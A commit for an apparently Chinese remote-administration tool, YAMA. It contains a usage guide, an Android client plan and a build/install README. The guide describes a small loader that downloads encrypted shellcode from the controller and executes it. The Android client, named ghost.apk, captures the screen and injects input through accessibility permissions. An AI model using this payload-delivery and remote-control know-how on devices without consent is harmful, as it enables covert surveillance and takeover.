Feat: Android client Phase 0-3 full implementation

- Add LicenseLimit field to LicenseInfo struct (0 = not set, unlimited)
- Add GetLicenseLimit/SetLicenseLimit: read/write LicenseLimit key in licenses.ini
- Append |lic:N to reserved field in TOKEN_AUTH response only when
  LicenseLimit > 0; absent |lic: means no limit (client defaults to 9999),
  so super admin authenticating to its own server is never falsely terminated
- Add "Sub-license limit" item in CLicenseDlg right-click menu (1-9999,
  empty = clear limit); menu label shows current value in real time
- Limit change takes effect when sub-client re-authenticates

+# YAMA 使用方法与技巧
+
+## 编译程序
+
+编译此程序需要Visual Studio 2019及以上版本。如果编译Go服务端，需要Go 1.25及以上版本。
+除了直接通过Visual Studio打开项目文件进行编译，也可以通过以下命令进行编译:
+
+- build.cmd: 编译YAMA.exe（自动提前编译客户端程序）
+- build.cmd publish：编译YAMA.exe且通过upx压缩，所生成的可执行文件较小。
+- buld.cmd server：只编译YAMA.exe，需保证所依赖的客户端程序已经编译。
+- build.cmd go-server：编译 Go 服务端，可以选择带publish 参数进行upx压缩。
+
+## Go 服务端
+
+支持在Windows、Linux、MacOS系统运行，使得用户不再依赖Windows服务器来搭建远程控制系统，且部署Go服务端在Linux或MacOS具有更高安全性。
+但是用户仍然需要有一台Windows电脑，使用YAMA生成客户端程序。
+
+## 生成客户端
+
+自版本v1.3.4起，不论是服务端/主控端，还是客户端/受管端，都支持在全平台运行（Windows、Linux、MacOS）。
+关于在生成客户端时怎么填参数，参考早期在 GitHub 的[文档](https://github.com/yuanyuanxiang/SimpleRemoter/wiki#生成参数)。
+此文档也许已经过时，但新文档没有准备好。因为生成客户端的逻辑没有改变，所以这篇文档仍然具有参考价值。
+
+## 更新内嵌资源
+
+参看 "server\2015Remote\BuildDlg.cpp" 描述，YAMA作为一个功能强大的远程管理系统，内嵌了包含客户端、开源工具在内的10多个资源。
+较新版本的YAMA支持在不修改源代码、不重新编译的情况下，更新内嵌的这些资源。用户只需要在当前YAMA进程的目录下，增加res子目录，
+将资源命名为如下所述的名称即可。例如编译了新版本的 frpc.dll， 将其放到 res/frps.dll 位置即可，重启YAMA即会使用该磁盘上的资源。
+
+```
+namespace ResFileName {
+    // Ghost 主程序
+    const char* GHOST_X86         = "ghost_x86.exe";
+    const char* GHOST_X64         = "ghost_x64.exe";
+    const char* GHOST_LINUX       = "ghost_linux";
+    const char* GHOST_MACOS       = "ghost_macos";
+    // TestRun 加载器
+    const char* TESTRUN_X86       = "testrun_x86.dll";
+    const char* TESTRUN_X64       = "testrun_x64.dll";
+    // ServerDll
+    const char* SERVERDLL_X86     = "serverdll_x86.dll";
+    const char* SERVERDLL_X64     = "serverdll_x64.dll";
+    // TinyRun
+    const char* TINYRUN_X86       = "tinyrun_x86.exe";
+    const char* TINYRUN_X64       = "tinyrun_x64.exe";
+    // SCLoader (Shellcode加载器)
+    const char* SCLOADER_X86      = "scloader_x86.bin";
+    const char* SCLOADER_X64      = "scloader_x64.bin";
+    const char* SCLOADER_X86_OLD  = "scloader_old_x86.bin";
+    const char* SCLOADER_X64_OLD  = "scloader_old_x64.bin";
+    // FRP 相关 (无架构区分，64位DLL)
+    const char* FRPC_DLL          = "frpc.dll";
+    const char* FRPS_DLL          = "frps.dll";
+    // 工具
+    const char* UPX_EXE           = "upx.exe";
+    const char* RCEDIT_EXE        = "rcedit.exe";
+}
+```
+
+## 使用插件
+
+将64位的Windows DLL放到Plugins目录，主控程序会加载DLL，且可以通过在线主机的右键菜单，将DLL发送的目标主机执行。
+开发自定义插件需要遵循一些规范：https://simpleremoter.com/plugins
+
+## 载荷分离
+
+通过设置 Web 端口（默认值8080），来开启Web远程桌面，且本机会提供文件下载服务。将文件放置于该目录，从外部访问链接即可下载。
+比如，生成服务端时，选择 Shellcode+AES, 开启文件下载，将载荷生成为单独的文件 "1.bin"，将此文件放置于Payloads 目录。
+访问 http://127.0.0.1:8080/payloads/1.bin 即可下载此载荷文件。如果本机具有公网IP，则127.0.0.1可替换为公网IP。在有公网IP的计算机开启Web功能，必须设置登录密码，否则存在安全风险。
+采用载荷分离方式生成的程序，只有7KB，运行此程序会下载载荷，解密载荷中的Shellcode并执行。加载器源代码见 client\SimpleSCLoader.c，采用了高级编程技巧，无导入函数。本项目不提供任何“面纱”保证，且使用场景只限技术研究和学习。
+
+## Web 远程桌面
+
+通过设置 Web 端口（默认值8080），即开启Web远程桌面，在浏览器地址栏访问本机8080端口就进入Web远程桌面，默认的密码是admin。
+如果本机有公网IP，务必修改默认密码，设置为较复杂的密码，否则可能被别人登录。Web登录已做防护，连续3次输入错误密码会冻结。
+从外部访问Web远程桌面，需要域名和证书（浏览器H264解码硬性要求）；Web 远程桌面支持2个主机同时在线，如需突破此限制，请联系管理员。
+

+# Android 客户端开发计划书
+
+> 目标功能：屏幕浏览 + 操作控制（触控/键盘输入注入）
+> 参考实现：`linux/` 与 `macos/`，两者已验证的共用策略同样适用于 Android
+
+---
+
+## 一、代码复用分析
+
+### 1.1 可 100% 直接复用（NDK 无改动）
+
+| 文件 | 用途 | 依赖 |
+|------|------|------|
+| `common/ikcp.c/.h` | KCP 可靠 UDP 传输 | 纯 C，无 OS 依赖 |
+| `common/aes.c/.h` | AES 加密 | 纯 C |
+| `common/commands.h` | 协议定义（全平台共享） | 无 |
+| `common/client_auth_state.h` | 认证状态机 | 无 |
+| `common/posix_net_helpers.h` | POSIX socket 辅助函数 | POSIX（Android NDK 支持） |
+| `common/sub_conn_thread.h` | 子连接线程 | POSIX |
+| `common/rtt_estimator.h` | RTT 估计器 | 无 |
+| `common/logger.h` | 日志 | 无 |
+| `common/locker.h` | 互斥锁 | `std::mutex` |
+| `common/FileTransferV2.h` | V2 文件传输协议 | 无 |
+| `common/xxhash.h` | xxHash 校验 | 纯头文件 |
+| `client/IOCPClient.cpp/.h` | TCP/KCP 连接管理（Linux 已复用） | POSIX socket |
+| `client/Buffer.cpp/.h` | 数据缓冲区 | 无 |
+| `client/sign_shim_unix.cpp` | 签名垫片（Linux/macOS 已复用） | `libsign.a` |
+
+### 1.2 可参考逻辑、重新实现 Android 版本
+
+| 现有文件 | Android 对应实现 | 原因 |
+|----------|-----------------|------|
+| `linux/ScreenHandler.h` | `android/cpp/ScreenHandler.h` | 捕获 API 不同（MediaProjection vs X11） |
+| `macos/InputHandler.mm` | `ControlService.kt` + `main.cpp::DispatchControlEvent` | 注入方式不同（AccessibilityService vs CGEvent） |
+| `linux/SystemManager.h` | `android/cpp/SystemManager.cpp`（Phase 4） | 系统 API 不同 |
+| `macos/H264Encoder.mm` | Android MediaCodec 路径（Java 侧） | 硬件编码器 API 不同 |
+| `linux/main.cpp` | `android/cpp/main.cpp` | 参考连接逻辑，逐段移植 |
+
+### 1.3 不复用（Windows 专属）
+
+- `client/ScreenCapturerDXGI.h`、`client/IOCPBase.h`、`client/ScreenSpy.cpp`（Windows GDI/DXGI）
+- `client/KeyboardManager.cpp`（SendInput API）
+- `client/KernelManager.cpp`、`client/ServicesManager.cpp`
+
+---
+
+## 二、技术选型
+
+### 2.1 屏幕捕获
+
+**方案**：`MediaProjection` API（Android 5.0+）
+
+```
+MediaProjection
+  └── VirtualDisplay (Surface)
+        └── MediaCodec (Surface input，零拷贝)
+              └── H.264 NALU → JNI → C++ ScreenHandler → 网络发送
+```
+
+- 无需 root，官方公开 API
+- 通过 `ForegroundService` + `FOREGROUND_SERVICE_MEDIA_PROJECTION` 维持后台运行
+- **实际采用零拷贝路径（Path A）**：VirtualDisplay 的 Surface 直接绑定 `MediaCodec` 输入 Surface，无 ImageReader 中间环节
+
+### 2.2 视频编码
+
+**已采用**：Android `MediaCodec`（硬件 H.264 加速）✅
+
+- VirtualDisplay Surface → MediaCodec Surface input → H.264 NALU，零拷贝
+- 关键帧前自动拼接 SPS+PPS，确保解码器可初始化
+- 每 2 秒强制触发一次 IDR（兼容忽略 `KEY_I_FRAME_INTERVAL` 的软编码器）
+- 编码分辨率：长边限制 1080，保持宽高比，宽高各自 2 对齐（H.264 要求）
+
+**编码流水线**：
+```
+VirtualDisplay → MediaCodec(Surface input) → CODEC_CONFIG(SPS/PPS) + IDR+P 帧
+  → onOutputBufferAvailable → JNI nativeOnH264Frame → C++ g_screenHandlers (broadcast) → TCP
+```
+
+### 2.3 输入控制
+
+**已采用**：`AccessibilityService`（`ControlService.kt`）✅
+
+| 事件 | 映射 |
+| --- | --- |
+| `WM_LBUTTONDOWN/MOVE/UP` | 累积路径，UP 时判断：位移 < 10px → 单击（dispatchTap），否则 → 拖拽（dispatchTouchGesture） |
+| `WM_LBUTTONDBLCLK` | 双击：两次 80ms 手势，间隔 200ms |
+| `WM_RBUTTONDOWN` | 长按 600ms |
+| `WM_MOUSEWHEEL` | delta > 0（滚轮上）→ 手指下划 +400px；delta < 0 → 手指上划 -400px |
+| `WM_KEYDOWN` Backspace/ESC | `GLOBAL_ACTION_BACK` |
+| `WM_KEYDOWN` VK_HOME (0x24) | `GLOBAL_ACTION_HOME` |
+| `WM_KEYDOWN` VK_APPS (0x5D) | `GLOBAL_ACTION_RECENTS` |
+| `WM_KEYDOWN` PrtSc (0x2C) | `GLOBAL_ACTION_TAKE_SCREENSHOT` |
+
+**关键实现细节**：
+
+- 协议：`COMMAND_SCREEN_CONTROL` + MSG64（固定 48 字节），**坐标从 lParam（offset 24）读取**，与 Windows/Linux/macOS 客户端完全一致；不读 pt.x/pt.y（64-bit MSG 与 MSG64 的 pt 偏移不同，直接读会得到错误 Y 坐标）
+- 坐标映射：`phys = enc * physSize / encSize`（编码空间 → 物理屏幕空间）
+- 单击路径非退化：`moveTo(x,y); lineTo(x+1,y)`，避免 Android 静默拒绝零长度手势路径
+- C++ → Kotlin 回调：`DispatchControlEvent()` 全局函数通过 JNI AttachCurrentThread → `ControlService.onControlEvent(@JvmStatic)` → post 到主线程 Handler
+
+### 2.4 网络传输
+
+与 Linux 完全相同的 POSIX socket 路径：
+- TCP 控制通道（`IOCPClient.cpp` 已在 Linux 验证）
+- KCP over UDP 视频流（`ikcp.c` 纯 C，NDK 直接编译，当前未启用）
+- TLS/AES 加密复用 `common/aes.c`

+
+---
+
+## 四、开发阶段
+
+### Phase 0：工程初始化 ✅ 已完成
+
+- 创建 Android Studio 项目，配置 NDK + CMake
+- `CMakeLists.txt` 引入 `common/`、`client/` 源文件（与 `linux/CMakeLists.txt` 同构）
+- 编译验证 `IOCPClient.cpp + Buffer.cpp + sign_shim_unix.cpp + ikcp.c` 在 NDK 下无错误
+- `SimplePlugins/sign_lib/` 新增 `sha256_portable.h`（纯 C，零外部依赖）和 `build_android.sh`，在 WSL + NDK r27c 下成功交叉编译，产物已复制至 `android/app/src/main/cpp/lib/{arm64-v8a,armeabi-v7a}/libsign.a`
+
+### Phase 1：连接与协议 ✅ 已完成
+
+- 移植 `linux/main.cpp` 的连接逻辑到 `android/cpp/main.cpp`
+- `CaptureService.kt` 通过 `YamaBridge.nativeInit()` 启动 C++ 网络线程
+- 实现登录握手（`LOGIN_INFOR`）、心跳（`TOKEN_HEARTBEAT` + `CMD_HEARTBEAT_ACK` RTT 估算）、认证状态机（`client_auth_state.h`）
+- 设备信息上报：ANDROID_ID（XXH64 作为 ClientID）、型号、OS 版本、分辨率
+- 心跳日志限流：60 秒最多打印一次，避免 logcat 刷屏
+
+### Phase 2：屏幕捕获与编码 ✅ 已完成
+
+- `CaptureService.kt`：申请 `MediaProjection`，建立 `VirtualDisplay`，Surface 直连 `MediaCodec`
+- SPS/PPS 缓存，IDR 帧发送前自动拼接，子连接 `COMMAND_NEXT` 后开始推流
+- `ScreenHandler.h`：发送 `TOKEN_BITMAPINFO`（含 `ScreenSettings.QualityLevel=H264`），`SendH264` 封装帧头
+- 服务端 H264 解码器正常显示 Android 屏幕 ✅
+- 服务端适配：`ScreenSpyDlg.cpp` 新增 `ComputeAdaptiveLayout()` 自适应缩放和信箱黑边，`m_offsetX/Y` 修正坐标映射（已合入 `main` 分支）
+
+### Phase 3：操作控制 ✅ 已完成（branch: feature/android-remote-control）
+
+- `ControlService.kt`（`AccessibilityService`）：手势注入、全局键、双击/长按/滚轮
+- `main.cpp::DispatchControlEvent()`：JNI 反向调用，将 `COMMAND_SCREEN_CONTROL` 路由到 Kotlin
+- `ScreenHandler.h::OnReceive`：子连接也可接收 `COMMAND_SCREEN_CONTROL`，统一调用 `DispatchControlEvent`
+- 坐标 Bug 修复：64-bit MSG 与 MSG64 的 `pt.x/pt.y` 偏移不同（MSG: offset 36，MSG64: offset 40）；改为从 lParam（两者均在 offset 24）提取坐标，与其他所有客户端保持一致
+- 单击无效 Bug 修复：零长度手势路径被 Android 静默拒绝；tap 改用 `lineTo(x+1, y)` 非退化路径
+- 代码审查修复：JNI `ExceptionClear()`
+
+### Phase 3 后期修复 ✅ 已完成
+
+发现并修复的生产问题：
+
+| 问题 | 根因 | 修复文件 |
+|------|------|---------- |
+| 静止屏幕首帧黑屏 10-60 秒 | SurfaceFlinger 空闲优化：无脏区时不向 VirtualDisplay 推帧，`REQUEST_SYNC_FRAME` 永远排队等不到输入帧 | `CaptureService.forceFirstFrame()`：VirtualDisplay 临时 resize +2px 触发强制合成；`main.cpp` 在 `SendBitmapInfo` 后调用 `ForceFirstFrameFromJava()` |
+| 部分硬件编码器 IDR 帧未被识别 | 高通等 SoC 对强制 IDR 不设置 `BUFFER_FLAG_KEY_FRAME`，`SendLoop` 将其当作 P 帧丢弃，首帧永远发不出 | `CaptureService.isNaluKeyframe()`：扫描 Annex-B NALU type 5/7/8 补充判断 |
+| H.264 推流在 `SendBitmapInfo` 前卡住 | 推送模式下服务端 `COMMAND_NEXT` 到达时 `setManagerCallBack` 尚未注册消息被丢弃，`m_started` 永远为 `false` | `ScreenHandler.h::SendBitmapInfo()` 末尾直接 `m_started=true; m_cond.notify_all()` |
+| 多用户不能同时观看/控制 | `g_screenHandler` 单指针 + `g_screenSpyRunning` 互斥锁，只允许一条子连接 | `main.cpp`：改为 `std::set<AndroidScreenHandler*> g_screenHandlers`，`nativeOnH264Frame` 广播给全部 handler；每个 `COMMAND_SCREEN_SPY` 独立建立子连接，对齐 Windows/Linux/macOS 客户端行为 |
+
+### Phase 4：系统信息与稳定性（进行中）
+
+**已完成：**
+
+| 功能 | 说明 |
+|------|------|
+| 活动窗口上报 | `ControlService` 监听 `TYPE_WINDOW_STATE_CHANGED`，通过 JNI `getActiveWindow()` 上报当前前台包名；锁屏时上报 `"Locked"` |
+| 心跳间隔下限 | Android 侧将服务端下发的 `ReportInterval` 强制限制为 `max(收到值, 30)`，防止 5s 高频心跳耗电 |
+| 服务端心跳超时延长 | `CheckHeartbeat()` 超时阈值从 `max(60, interval*3)` 改为 `max(120, interval*3)`，与 30s 心跳间隔留出 4 倍余量 |
+| CPU 频率上报 | `GetCpuMHz()` 优先读 `/sys/devices/system/cpu/*/cpufreq/cpuinfo_max_freq`，虚拟机无此节点时回退读 `/proc/cpuinfo` 的 `BogoMIPS` |
+| 后台保活 | `ForegroundService` + 持久通知（Phase 2 已完成），豁免 Doze 模式网络限制 |
+| 应用图标 | 自定义眼睛图标，支持 Android 8+ Adaptive Icon（前景层 + 浅灰背景），兼容各厂商形状裁切 |
+| Release 签名 | `yama-release.jks` 随仓库分发，密码通过 `YAMA_PWD` 环境变量或交互输入，保证多机一致签名 |
+
+**待完成：**
+
+- 处理 `MediaProjection` 被用户撤销的情况（弹出通知，引导重授权）
+- 连接断线自动重连后子连接同步重建（目前 `ScreenSpyThread` 有 20 次重试，但主连接重连后子连接未同步恢复）
+- `WM_MBUTTONDOWN`（中键）手势映射（目前静默丢弃）
+- `SystemManager` 封装：将 Java 层已上报的设备信息（型号、版本、IP）统一封装为独立模块
+
+---
+
+## 五、关键约束与风险
+
+| 风险 | 影响 | 状态 |
+|------|------|------|
+| ~~`libsign.a` 无 ARM 构建~~ | ~~Phase 0 阻塞~~ | ✅ 已解决：`sha256_portable.h` + `build_android.sh` |
+| Android 12+ `MediaProjection` 需每次重新申请 | 后台录屏被中断 | `ForegroundService` 保活 + 通知引导重授权 |
+| `AccessibilityService` 用户需手动开启 | 操作控制功能受限 | UI 引导流程，说明开启步骤 |
+| 某些厂商 ROM 限制后台 Service | 连接断开 | 电池优化白名单申请 |
+| H.264 Baseline Level 对齐 | 服务端解码兼容性 | `MediaCodec` 输出指定 `profile=Baseline`，与 x264 现有配置一致 |
+| `AccessibilityService` 无法向系统设置页面注入手势 | 设置界面无法远程操作 | Android 安全限制，无解，提示用户 |
+
+---
+
+## 六、代码审查注意事项
+
+### 最高原则：既有功能无破坏
+
+增加 Android 客户端支持时，Windows/Linux/macOS 客户端的全部既有功能必须保持正常。每次改动上线前须验证：
+
+| 检查项 | 说明 |
+| --- | --- |
+| `isAndroidRemote` 初始值为 `false` | 非 Android 客户端走原有代码路径，不受影响 |
+| `updateUIForOrientation()` Android 分支有 `isAndroidRemote &&` 守卫 | 非 Android 客户端不会进入沉浸模式分支 |
+| `NotifyResolutionChange` 新参数有默认值 `= ""` | 现有调用点即便漏传也能正常编译和运行 |
+| `FindHostByClientID` 与 `FindHostByIP` 一致的指针返回约定 | ScreenSpyDlg 在 UI 线程（OnInitDialog）调用，OnReceiveComplete 在 IO 线程调用，后者读 `additonalInfo[]` 为只读操作，低概率竞争 |
+| Web 端坐标映射 `getTouchPos` 使用 `getBoundingClientRect()` | 动态取 canvas 实际显示尺寸，CSS 拉伸不影响坐标精度 |
+| Android 边缘手势检测有时间和距离双重门槛 | 普通慢速拖拽不会被误识别为系统手势 |
+
+### 审查流程
+
+1. `git diff HEAD` 逐文件审查，重点关注非 Android 代码路径的改动
+2. 确认所有新增条件分支均以 `isAndroidRemote`、`client_type === 'APK'` 等 Android 专有标志守卫
+3. 共享协议结构体（`commands.h`、`LOGIN_INFOR`、`szReserved`）改动需确认向前/向后兼容
+4. 服务端 C++ 改动在 Windows 下编译，前端 `index.html` 在桌面和移动浏览器两端验证
+
+---
+
+## 七、不在本期范围
+
+- 音频监听（`AudioRecord` + Opus 编码）
+- 文件管理（已有 `FileTransferV2`，后期可直接接入）
+- 摄像头（前/后摄）
+- Shell 终端（`/system/bin/sh` + PTY，可参考 `PTYHandler.h`）
+- Root 特权功能（uinput、内核注入）

+# YAMA Android 客户端
+
+YAMA 的 Android 客户端，允许服务端将 Android 设备作为受控主机进行远程查看和操控。功能包括：
+
+- 屏幕实时截图并推流给服务端
+- 接收服务端的触控/按键指令并注入到系统
+- 后台保持心跳连接，支持长期驻留
+
+---
+
+## 编译前：配置服务端地址
+
+服务端 IP 和端口在源码中硬编码，编译前必须修改：
+
+文件：`app/src/main/java/com/yama/client/MainActivity.kt`
+
+```kotlin
+private val serverIp   = "91.99.165.207"   // 改为你的服务端 IP
+private val serverPort = 443                // 改为你的服务端端口
+```
+
+改完再执行编译，否则客户端连不上服务端。
+
+---
+
+## 编译环境
+
+在 **WSL（Ubuntu）或原生 Linux** 上编译，Windows 原生环境不支持。
+
+| 依赖 | 版本要求 | 安装命令 |
+|---|---|---|
+| Java | 17+ | `sudo apt install openjdk-17-jdk` |
+| CMake | 3.22+ | `sudo apt install cmake` |
+| Ninja | 任意 | `sudo apt install ninja-build` |
+| Android SDK | 含 build-tools | 见下方说明 |
+| Android NDK | 30.x（Linux 版） | 见下方说明 |
+
+### Android SDK
+
+推荐通过 Android Studio 安装，安装后 SDK 默认在：
+
+- Windows：`%USERPROFILE%\AppData\Local\Android\Sdk`
+- Linux：`~/Android/Sdk`
+
+WSL 环境下脚本会自动检测 Windows 侧的 SDK，也可以手动指定：
+
+```bash
+export ANDROID_HOME=/mnt/c/Users/<用户名>/AppData/Local/Android/Sdk
+```
+
+### Android NDK（Linux 版）
+
+> **重要**：必须使用 **Linux 版 NDK**，Windows NDK 的 `.exe` 工具无法在 WSL 内执行。
+
+```bash
+# 下载 Linux NDK（约 600 MB）
+wget https://dl.google.com/android/repository/android-ndk-r30b-linux.zip
+unzip android-ndk-r30b-linux.zip -d $HOME
+
+# 解压目录名可能带字母后缀（r30、r30b 等），统一重命名
+mv $HOME/android-ndk-r30* $HOME/android-ndk
+```
+
+脚本会自动检测 `~/android-ndk`，也可以通过环境变量指定：
+
+```bash
+export ANDROID_NDK_HOME=$HOME/android-ndk
+```
+
+---
+
+## 签名密钥（一次性准备）
+
+Release APK 需要签名密钥。密钥库文件 `yama-release.jks` 已在仓库中，**密码需向仓库维护者获取**，或通过以下方式传入：
+
+```bash
+# 方式一：环境变量（推荐，避免每次输入）
+export YAMA_PWD=密钥库密码
+
+# 方式二：编译时脚本会交互提示输入
+```
+
+如需重新生成密钥库（密码遗失等情况）：
+
+```bash
+cd android/
+keytool -genkeypair -keystore yama-release.jks \
+  -alias yama -keyalg RSA -keysize 2048 -validity 10000 \
+  -dname 'CN=YAMA,O=Internal,C=CN'
+```
+
+> 密钥库文件本身不含私密信息，可以提交到 git；密码不要提交。
+> 重新生成密钥库后，已安装旧版本的设备需要先卸载再安装。
+
+---
+
+## 编译
+
+在 WSL 或 Linux 终端中，进入 `android/` 目录：
+
+```bash
+cd android/
+
+# 编译 Release（默认，约 1.7 MB，推荐部署用）
+./build_apk.sh
+
+# 编译 Debug（约 4 MB，含调试符号，开发排查用）
+./build_apk.sh debug
+
+# 清理所有编译产物（切换配置或遇到奇怪错误时使用）
+./build_apk.sh clean
+```
+
+编译成功后产物：
+
+| 类型 | 路径 |
+|---|---|
+| Release | `ghost.apk` |
+| Debug | `ghost-debug.apk` |
+
+---
+
+## 安装到设备
+
+### 1. 传输 APK
+
+将 `ghost.apk` 拷贝到手机（USB 传输、微信文件传输等均可）。
+
+### 2. 安装
+
+在手机上用文件管理器找到 APK，点击安装。
+
+如提示"禁止安装未知来源应用"，需先开启允许：
+
+- **Android 8+**：设置 → 应用 → 找到你使用的文件管理器 → 允许安装未知应用
+- **MIUI/ColorOS 等**：设置 → 隐私/安全 → 安装未知应用
+
+### 3. 解除受限设置（Android 13+ 必须）
+
+Android 13 及以上系统对手动安装的 APK 有额外限制，若不解除，无法授权 Accessibility Service：
+
+1. 打开 **设置 → 应用 → YAMA**
+2. 点击右上角 **三点菜单**
+3. 选择 **"允许受限设置"**（Allow restricted settings）
+4. 使用 PIN 或指纹确认
+
+> 此步骤每次重新安装 APK 后都需要重复执行一次。
+
+### 4. 授权必要权限
+
+**Accessibility Service**（必须，用于注入触控/按键）
+
+设置 → 无障碍 → 已安装的应用 → YAMA → 开启
+
+> 重装 APK 后此权限会被重置，需重新授权。
+
+### 5. 启动
+
+点击桌面 YAMA 图标启动，系统会弹出屏幕录制确认框，点击 **"立即开始"** 授权。
+
+授权后应用进入后台运行，通知栏会显示一条持久通知表示服务正在运行。此后服务端即可在主机列表中看到该设备。
+
+> 屏幕录制确认在每次应用重启后都会弹出，这是 Android 系统的强制要求，无法跳过。
+
+---
+
+## 注意事项
+
+- 建议在电池优化设置中将 YAMA 设为 **"不限制"**（或"不优化"），防止系统在后台将其杀掉
+  - 路径：设置 → 应用 → YAMA → 电池 → 不限制
+- 心跳间隔最小 30 秒，长期后台运行耗电量与微信后台相当
+- 服务端可在设置中调大上报间隔（建议不超过 60 秒）以进一步降低耗电

+#   Gradle start up script for POSIX generated by Gradle.
+#
+#   Important for running:
+#
+#   (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
+#       noncompliant, but you have some other compliant shell such as ksh or
+#       bash, then to run this script, type that shell name before the whole
+#       command line, like:
+#
+#           ksh Gradle
+#
+#       Busybox and similar reduced shells will NOT work, because this script
+#       requires all of these POSIX shell features:
+#         * functions;
+#         * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
+#           «${var#prefix}», «${var%suffix}», and «$( cmd )»;
+#         * compound commands having a testable exit status, especially «case»;
+#         * various built-in commands including «command», «set», and «ulimit».
+#
+#   Important for patching:
+#
+#   (2) This script targets any POSIX shell, so it avoids extensions provided
+#       by Bash, Ksh, etc; in particular arrays are avoided.
+#
+#       The "traditional" practice of packing multiple parameters into a
+#       space-separated string is a well documented source of bugs and security
+#       problems, so this is (mostly) avoided, by progressively accumulating
+#       options in "$@", and eventually passing that to Java.
+#
+#       Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
+#       and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
+#       see the in-line comments for details.
+#
+#       There are tweaks for specific operating systems such as AIX, CygWin,
+#       Darwin, MinGW, and NonStop.
+#
+#   (3) This script is generated from the Groovy template
+#       https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
